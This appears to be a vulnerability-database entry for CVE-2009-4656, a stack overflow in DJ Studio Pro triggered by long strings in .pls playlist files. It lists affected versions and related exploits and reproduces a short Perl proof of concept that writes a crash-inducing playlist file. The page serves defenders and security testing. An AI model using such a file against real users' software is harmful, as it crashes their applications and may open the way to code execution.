CVE-2009-4656

critical

Published 2010-03-03 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Stack-based buffer overflow in E-Soft DJ Studio Pro 4.2 including 4.2.2.7.5, and 5.x including 5.1.4.3.1, allows user-assisted remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a playlist file (.pls) containing a long string. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-9691 dos windows verified perl · 1 KB

prodigy · 2009-09-15

DJ Studio Pro 4.2 - '.pls' Local Crash

perl exploit Source: Exploit-DB

#!/usr/bin/perl -w
#
# DJ Studio Pro 4.2 (.PLS file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: http://www.e-soft.co.uk/
#
# Usage to reproduce the bug: when you created the malicious file, load the file and boooom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.pls";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-09-15]

EDB-18547 local windows verified

Metasploit · 2012-03-02

DJ Studio Pro 5.1 - '.pls' Local Stack Buffer Overflow (Metasploit)

Source code queued for fetch — refresh in a moment.

EDB-18501 local windows

Death-Shadow-Dark · 2012-02-20

DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH) (Metasploit)

Source code queued for fetch — refresh in a moment.

EDB-10827 local windows verified

Sébastien Duquette · 2009-12-30

DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH)

Source code queued for fetch — refresh in a moment.

Metasploit modules

exploit_windows/fileformat/djstudio_pls_bof rank 300

DJ Studio Pro 5.1 .pls Stack Buffer Overflow

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions
e-soft.co	dj_studio_pro	`4.2`
e-soft.co	dj_studio_pro	`4.2.2.7.5`
e-soft.co	dj_studio_pro	`5.1`
e-soft.co	dj_studio_pro	`5.1.4.3.1`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

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